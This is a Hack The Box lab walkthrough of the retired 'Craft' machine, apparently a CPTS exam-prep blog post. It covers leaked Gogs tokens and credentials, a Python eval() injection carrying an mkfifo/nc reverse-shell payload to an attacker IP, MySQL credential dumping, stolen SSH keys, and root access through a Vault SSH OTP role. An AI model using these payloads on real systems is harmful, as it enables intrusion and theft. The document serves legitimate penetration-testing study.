Skip to content
Archwarden
Go back
HTB: Craft
HTB
Linux Medium Retired

HTB: Craft

Techniques Gogs Repository EnumerationCredentials Exposure in Version ControlPython eval() InjectionReverse Shell via APIDocker Container EnumerationMySQL Credential ExtractionPrivate Repository SSH Key RetrievalHashiCorp Vault SSH OTP Privilege Escalation

Summary

Craft runs a Gogs instance alongside a REST API for a beer brewing application. The Gogs repository is public and the commit history is careless. An open issue exposes a JWT API token, and a test script committed by a developer contains plaintext credentials. A second commit shows the fix for an ABV validation bug, and the fix itself is a vulnerability: the ABV value is passed unsanitized into Python’s eval(). Using the leaked credentials to authenticate to the API and injecting a reverse shell payload into the brew endpoint lands a shell as root inside a Docker container.

Inside the container, a database test script points to a MySQL instance. Reading the settings file gets the credentials, and a quick Python query against the user table dumps three sets of credentials. SSH does not work with any of them, but Gilfoyle’s credentials authenticate to Gogs. His private repository contains a .ssh folder with an RSA private key. SSH as Gilfoyle uses the database password to unlock the key and gives the user flag.

A .vault-token file in Gilfoyle’s home directory and a secrets.sh script from his Gogs private repository reveal that HashiCorp Vault is configured with an SSH OTP backend using root as the default user. Running vault ssh with that role generates a one-time password for a direct root login.

Flags:


Detailed Walkthrough

Enumeration

Nmap Scan

Start with a full TCP port scan:

sudo nmap -p- --min-rate 1000 -T4 10.129.229.45 -oA TCP_allports

Extract open ports:

ports=$(grep open TCP_allports.nmap | awk -F/ '{print $1}' | tr '\n' ',' | sed 's/,$//')

Run the detailed service scan:

sudo nmap -p $ports -sC -sV -vv -oA TCP_detailed 10.129.229.45
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
443/tcp  open  ssl/http nginx 1.15.8
6022/tcp open  ssh      Golang x/crypto/ssh server (protocol 2.0)
  • 443 (HTTPS) is the main attack surface. The SSL certificate identifies the domain as craft.htb
  • 22 (SSH) is standard OpenSSH on Debian, worth keeping in mind once credentials are found
  • 6022 (SSH) is a Golang SSH server, not the system SSH. This ends up being the Gogs application’s built-in git SSH service, not a shell entry point

Add the domain to /etc/hosts:

sudo nano /etc/hosts
# 10.129.229.45  craft.htb

Web Enumeration

The HTTPS site is a simple landing page for a craft beer API.

craft.htb main site

Browsing the page reveals two links in the navigation: one pointing to api.craft.htb/api and one to gogs.craft.htb.

Link to api.craft.htb on the main site

Link to gogs.craft.htb on the main site

Add both subdomains to /etc/hosts and visit them. The API site is a Swagger UI exposing the REST API endpoints.

api.craft.htb Swagger UI

The Gogs site is a self-hosted Git service with a login page, but also a public repository for the craft-api project.

gogs.craft.htb site with public repository


Gogs Repository Enumeration

Open Issues — API Token Exposure

The public Craft/craft-api repository has open issues.

craft-api repository folder structure

One of them is a developer reporting an ABV validation bug, and the message includes a full API token in the request headers:

X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw

Gogs open issue exposing the API token in the request headers

Finding 1: API Token Exposed in Public Gogs Issue

The issue also links to a commit that contains the fix for the bug.

Commit History — eval() Vulnerability

Clicking the commit link in the issue shows the patch. The relevant section:

+        # make sure the ABV value is sane.
+        if eval('%s > 1' % request.json['abv']):
+            return "ABV must be a decimal value less than 1.0", 400
+        else:
+            create_brew(request.json)

Commit showing the unsanitized eval() in the brew endpoint

The ABV value from the request JSON is string-formatted directly into eval(). There is no sanitization. Any Python expression passed as the ABV will execute on the server.

Finding 2: ABV Endpoint Passes Unsanitized User Input to Python eval()

Dinesh’s Test Script

Knowing that Dinesh is writing unsanitized code, let’s take a look at his profile and see what other commits he has made.

Dinesh's Gogs profile showing his commit history

The test script commit contains a hardcoded credential:

response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)

Dinesh's test script commit showing hardcoded credentials

Credentials recovered: dinesh:4aUh0A8PbVJxgd

Finding 3: Developer Committed Plaintext Credentials to a Public Repository


Foothold — eval() Injection via API

Cloning and Testing the API

Clone the repository to work with the test script locally:

git -c http.sslVerify=false clone https://gogs.craft.htb/Craft/craft-api.git

Cloning the craft-api repository from Gogs

In craft-api/tests/, there is test.py. Add Dinesh’s credentials and token, then run it:

python test.py

test.py modified with Dinesh's API token

test.py confirms the token is still valid

The token is still active and the brew endpoint responds as expected. The eval() injection path is confirmed.

Injecting the Reverse Shell

In test.py, replace the ABV value:

# original
brew_dict['abv'] = '0.15'

# replace with
brew_dict['abv'] = "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.60 9001 >/tmp/f')"

test.py modified with the reverse shell payload in the abv field

Start the listener:

rlwrap nc -lvnp 9001

Netcat listener started on port 9001

Run the modified script:

python test.py

Shell established as root inside the Docker container

Shell connects as root, but the hostname and filesystem layout (/opt/app) confirm this is a Docker container. The system SSH and any user home directories are not accessible from here.


Lateral Movement — MySQL to Gilfoyle

dbtest.py and settings.py

In /opt/app, there is a dbtest.py file that was not part of the public repository:

dbtest.py code visible in /opt/app

import pymysql
from craft_api import settings

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)

try:
    with connection.cursor() as cursor:
        sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
        cursor.execute(sql)
        result = cursor.fetchone()
        print(result)
finally:
    connection.close()

The script imports credentials from craft_api/settings.py. Reading that file:

settings.py containing MySQL credentials

MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'

MySQL is running internally and was not exposed in the Nmap scan. The dbtest.py framework makes it easy to query it from inside the container.

Enumerating the Database

Write a quick script to list the tables:

cat > dbtest1.py << 'EOF'
#!/usr/bin/env python
import pymysql
from craft_api import settings

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
    user=settings.MYSQL_DATABASE_USER,
    password=settings.MYSQL_DATABASE_PASSWORD,
    db=settings.MYSQL_DATABASE_DB,
    cursorclass=pymysql.cursors.DictCursor)

try:
    with connection.cursor() as cursor:
        sql = "show tables"
        cursor.execute(sql)
        result = cursor.fetchall()
        print(result)
finally:
    connection.close()
EOF
python dbtest1.py

dbtest1.py code showing the show tables query

dbtest1.py output returning brew and user tables

Two tables: brew and user. Write another script to dump the user table:

cat > dbtest2.py << 'EOF'
#!/usr/bin/env python
import pymysql
from craft_api import settings

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
    user=settings.MYSQL_DATABASE_USER,
    password=settings.MYSQL_DATABASE_PASSWORD,
    db=settings.MYSQL_DATABASE_DB,
    cursorclass=pymysql.cursors.DictCursor)

try:
    with connection.cursor() as cursor:
        sql = "SELECT * FROM `user`"
        cursor.execute(sql)
        result = cursor.fetchall()
        print(result)
finally:
    connection.close()
EOF
python dbtest2.py

dbtest2.py code showing the select all from user query

dbtest2.py output returning three user credential pairs

Three credential sets:

dinesh:4aUh0A8PbVJxgd
ebachman:llJ77D8QFkLPQB
gilfoyle:ZEU3N8WNM2rh4T

None of these work with SSH on port 22. Testing them against the Gogs login, Gilfoyle’s credentials authenticate.

Gilfoyle’s Private Repository — SSH Key

Logging into Gogs as Gilfoyle

Gilfoyle's private repositories visible after login

Gilfoyle has a private repository. Inside there is a .ssh folder.

.ssh folder in Gilfoyle's private Gogs repository

id_rsa private key visible in the .ssh folder

id_rsa.pub and authorized_keys also present

Copy the id_rsa key to the attack machine, set permissions, and SSH in:

chmod 600 id_rsa
ssh -i id_rsa [email protected]

The key is passphrase-protected. Gilfoyle’s database password works:

passphrase: ZEU3N8WNM2rh4T

SSH session established as Gilfoyle with user flag

User flag


Privilege Escalation — Vault SSH OTP

Finding the Vault Token

There is a .vault-token file in Gilfoyle’s home directory:

.vault-token file in Gilfoyle's home directory

This is a HashiCorp Vault authentication token. Vault is a secrets management tool and it is running on this host.

Reading the Vault Configuration from Gogs

Back in Gilfoyle’s private Gogs repository, there is a vault folder containing secrets.sh:

Vault folder in Gilfoyle's private Gogs repository

secrets.sh script showing the Vault SSH OTP configuration

Full contents of secrets.sh

#!/bin/bash

# set up vault secrets backend

vault secrets enable ssh

vault write ssh/roles/root_otp \
    key_type=otp \
    default_user=root \
    cidr_list=0.0.0.0/0

The root_otp role is configured with default_user=root and allows connections from any IP. Vault’s SSH OTP backend works by generating a one-time password that the target host accepts in place of a regular SSH password. Because the .vault-token grants access to Vault and the role already exists, running vault ssh generates and uses a one-time password to authenticate directly as root:

vault ssh -role root_otp -mode otp [email protected]

vault ssh command issuing a one-time password and logging in as root

Root flag


Takeaways

How this box helped me prepare for the CPTS exam

  1. Look for secrets and hints in repository chats. Developers frequently expose secrets in the internal communications between devs, thinking it’s safe because it’s internal. Here it happened to be exposed to the public, even worse.

  2. Look at commits and code to find secrets. Multiple times we found secrets hard coded into the code and commits. Developers often commit sensitive material and then delete or overwrite it in a later commit, assuming it is gone. On this box, Dinesh’s test script commit sat in the history with plaintext credentials. The live code no longer referenced it, but the commit was still fully visible. On any engagement that involves a code repository, the commit history is part of the attack surface.

  3. An application that calls eval() on user input is always exploitable. The eval('%s > 1' % request.json['abv']) pattern is a textbook injection vulnerability. The developer intended to validate a decimal number, but there is nothing stopping the input from being any Python expression. When reviewing application code, any call to eval(), exec(), or equivalent functions with user-controlled data should be flagged immediately.

  4. Credentials reuse across services is one of the most consistent paths in real environments. The MySQL credentials were different for each user, but Gilfoyle reused his database password as the passphrase for his SSH key. Any set of credentials found during an engagement should be tested against every available service before moving on.

  5. Internal services not visible in the initial scan can still be reachable from inside a container. MySQL was not exposed on the host. From outside, there was no sign of it. But the Docker container had network access to the db host and the credentials were sitting in settings.py. Landing inside a container is not the end of the road. Check for internal network access, environment variables, mounted volumes, and any scripts or config files that reference other services. But beware, the CPTS loves to throw rabbit holes at the candidate. If you don’t see a way out of a docker container in a short time, it might be a rabbit hole.



Previous
HTB: Authority
Next
HTB: Fluffy